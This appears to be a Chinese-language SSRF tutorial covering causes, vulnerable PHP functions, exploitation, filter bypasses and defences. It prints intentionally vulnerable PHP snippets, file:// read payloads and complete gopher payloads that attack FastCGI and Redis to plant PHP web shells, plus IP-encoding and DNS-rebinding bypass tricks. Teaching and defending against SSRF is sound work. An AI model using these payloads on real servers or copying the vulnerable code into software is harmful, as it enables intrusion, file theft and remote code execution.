SSRF漏洞详解(原理、挖掘点、利用方式与防御)
一、SSRF是什么?
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种网络安全漏洞,攻击者通过该漏洞可以利用服务器端的应用程序发起伪造的请求。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。因此可以绕过一些基于网络拓扑的安全防护)
二、SSRF漏洞原理
SSRF漏洞是由于服务端提供了从其他服务器获取数据的功能,但没有对目标地址、协议等做过滤和限制,导致攻击者可以利用存在缺陷的Web应用作为代理,攻击远程和本地的服务器。
具体表现
-
功能缺陷:许多Web应用允许从其他服务器获取数据,如通过指定URL获取图片、下载文件、读取文件内容等。如果这些功能的实现存在缺陷,攻击者就可以利用它们发送伪造的请求。
-
身份利用:攻击者构造恶意请求,由服务器以自身的身份发起请求。由于服务器的身份通常具有更高的权限,这些请求可能会绕过一些基于网络拓扑的安全防护。
-
目标攻击:攻击者通常将目标指向从外网无法直接访问的内部系统,因为这些系统往往防御较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证。
三、容易出现SSRF的地方
一切需要输入网址和可以输入ip的地方都容易出现SSRF漏洞
-
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
-
在线翻译:给网址翻译对应网页的内容。
-
图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片。
-
图片/文章收藏功能:主要会取URL地址中title以及文本的内容作为显示。
-
网站采集、网页抓取的地方:一些网站会针对你输入的url进行一些信息采集工作。
-
头像的地方:远程加载头像。
- 从URL关键字中寻找:
share
、wap
、url
、link
、src
、source
、target
、u
、3g
、display
、sourceURl
、imageURL
、domain
。
漏洞产生相关函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞。
1. file_get_contents()
-
漏洞原理:
file_get_contents()
函数用于获取指定 URL 的内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。如果用户可以控制 URL 参数,攻击者可以构造恶意 URL,使服务器访问内网服务、读取本地文件或攻击其他服务器。 -
利用场景:
-
读取本地文件:攻击者可以通过构造
file://
协议的 URL 来读取服务器本地文件,例如/etc/passwd
。
-
<?php $url = $_GET['url']; echo file_get_contents($url); ?>
http://example.com/ssrf.php?url=file:///etc/passwd
-
-
访问内网服务:攻击者可以构造内网服务的 URL,例如访问内网的 Redis 服务。
-
http://example.com/ssrf.php?url=http://192.168.1.100:6379
-
防御措施:
-
限制协议:仅允许
http
和https
协议,禁用file://
、gopher://
等危险协议。 -
限制端口:限制请求的端口为常见的 HTTP 端口,如 80 和 443。
-
白名单:设置允许访问的 URL 白名单,限制访问内网 IP。
-
2. fsockopen()
函数
-
漏洞原理:
fsockopen()
函数用于打开一个网络连接或 Unix 套接字连接。如果用户可以控制主机名和端口参数,攻击者可以利用该函数访问内网服务或本地资源。 -
利用场景:
-
端口扫描:攻击者可以通过遍历端口来扫描内网服务的开放情况。
-
<?php // 定义一个函数GetFile,用于获取指定主机和端口上的文件内容 function GetFile($host,$port,$link) { // 使用fsockopen函数尝试与指定主机和端口建立连接 // $host为目标主机地址,$port为目标端口号,$errno和$errstr用于存储错误信息,30为连接超时时间 $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { // 如果连接失败,输出错误信息 echo "$errstr (error number $errno) \n"; } else { // 构造HTTP请求头,准备发送GET请求 $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; // 使用fwrite函数将请求头发送到已建立的连接中 fwrite($fp, $out); // 初始化一个变量用于存储从服务器获取的内容 $contents=''; // 使用while循环和feof函数判断是否到达文件末尾 while (!feof($fp)) { // 使用fgets函数从连接中读取数据,并将其追加到$contents变量中 $contents.= fgets($fp, 1024); } // 关闭与服务器的连接 fclose($fp); // 返回获取到的内容 return $contents; } } ?>
http://example.com/ssrf.php?host=192.168.1.100&port=22
-
-
访问内网服务:攻击者可以构造内网服务的地址,访问内网的 Web 服务或其他应用。
-
http://example.com/ssrf.php?host=192.168.1.100&port=80
-
防御措施:
-
限制 IP 和端口:限制允许访问的 IP 地址和端口范围,禁止访问内网 IP。
-
过滤输入:对用户输入的主机名和端口进行严格过滤,避免非法输入。
-
统一错误信息:避免返回过多的详细信息,防止攻击者根据错误信息判断端口状态。
-
3. curl_exec()
函数
-
漏洞原理:
curl_exec()
函数用于执行一个 cURL 会话。如果用户可以控制 URL 参数,攻击者可以利用该函数访问内网服务、读取本地文件或攻击其他服务器。 -
利用场景:
-
访问内网服务:攻击者可以构造内网服务的 URL,访问内网的 Redis 服务或 Web 应用。
-
<?php if (isset($_POST['url'])){ $link = $_POST['url']; $curlobj = curl_init();// 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项 $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器 curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源 $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
http://example.com/ssrf.php?url=http://192.168.1.100:6379
-
利用 Gopher 协议:攻击者可以利用 Gopher 协议构造恶意请求,攻击内网服务。
http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_POST%20/ssrf.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a
-
防御措施:
-
限制协议:仅允许
http
和https
协议,禁用gopher://
、ftp://
等危险协议。 -
限制端口:限制请求的端口为常见的 HTTP 端口,如 80 和 443。
-
白名单:设置允许访问的 URL 白名单,限制访问内网 IP。
-
统一错误信息:避免返回过多的详细信息,防止攻击者根据错误信息判断端口状态。
-
注意
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
四、SSRF漏洞利用
1. 内网访问
利用SSRF漏洞访问内网中的Web应用或其他服务。通过构造特定的URL,攻击者可以访问内网中的敏感资源。
?url=http://127.0.0.1/flag.php
2. 伪协议读取文件
利用PHP伪协议读取本地文件。
?url=file:///var/www/html/flag.php
3. 端口扫描
利用SSRF漏洞扫描内网中的开放端口。
?url=dict://127.0.0.1:8000
4. 发送POST请求
利用SSRF漏洞发送POST请求,攻击内网中的应用。
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=a68a3b03e80ce7fef96007dfa01dc077
5. 攻击FastCGI协议
利用SSRF漏洞攻击FastCGI协议,实现代码执行。
?url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH123%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7B%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
6. 攻击Redis协议
利用SSRF漏洞攻击Redis服务,实现代码执行。
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
7. 其他利用方式
利用SSRF漏洞进行其他攻击,如攻击内网中的SMTP服务、攻击数据库服务等。
五、SSRF绕过方式
常见绕过方式
1. IP格式转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
2. @
127.0.0.1
可使用http://abc@127.0.0.1,
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080 http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
3. 利用[::]
在某些情况下,目标服务器可能会对 localhost
或 127.0.0.1
进行过滤,以防止攻击者访问本地服务。然而,IPv6 地址 ::1
也可以表示 localhost
,并且某些系统可能不会对 IPv6 地址进行过滤。
http://[::1]:80/ 或 http://[::]:80/ 可以被解析为 localhost,从而绕过对 127.0.0.1 的过滤。 http://0000::1:80/ 也可以尝试,但测试结果可能因系统而异。
4. 添加端口号
http://127.0.0.1:8080
5. 利用短网址
短网址服务通过将长网址压缩成短网址,实现快速访问。在SSRF漏洞利用中,攻击者可以利用短网址服务的特性,将目标地址(如内网服务地址)隐藏在短网址后面,从而绕过目标服务器对特定URL的过滤。
6. 利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
7. 利用句号
127。0。0。1 >>> 127.0.0.1
8. 302跳转
可以利用302跳转,将目标服务器的请求重定向到内网地址或其他受限地址,从而绕过对特定URL的过滤。9. DNS重绑定
https://lock.cmpxchg8b.com/rebinder.html
-
从输入的 URL 中提取 Host。
-
对 Host 进行 DNS 解析,获取解析的 IP。
-
检测该 IP 是否合法(如是否是私有 IP)。
-
如果 IP 合法,则发起请求。
10.利用封闭字母数字
封闭字母数字(Enclosed Alphanumerics)是一组特殊的 Unicode 字符,这些字符在某些情况下可以被浏览器或解析器识别为普通的字母数字字符。利用这些字符可以绕过对特定域名或IP地址的过滤。
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com http://127.0.0.1>>>http://①②⑦。⓪。⓪。①
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
常见限制
1.限制为http://www.xxx.com 域名
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
六、SSRF漏洞防御
通常有以下几个思路:
1. 输入验证与过滤
-
对用户输入的URL进行白名单验证,只允许访问预定义的安全域名。
-
禁止或严格限制用户可控的URL请求。
-
使用正则表达式过滤非法字符,如特殊符号、控制字符等。
-
对于必须提供的URL直通功能,加上签名或专用令牌验证。
2. 限制请求的端口和协议
-
限制请求的端口为HTTP常用的端口,如80、443、8080等。
-
禁用不需要的协议,如
file://
、gopher://
、ftp://
等。 -
在云环境中,对服务器本身的安全组做最小权限配置。
3. 错误信息处理
-
使用自定义的错误页面来替代默认的错误信息。
-
在开发和测试环境中启用详细的错误信息,在生产环境中关闭。
4.使用Web应用防火墙(WAF)
-
使用WAF的自学习功能来自动调整规则。
-
结合使用WAF和其他安全措施,如输入验证和网络隔离。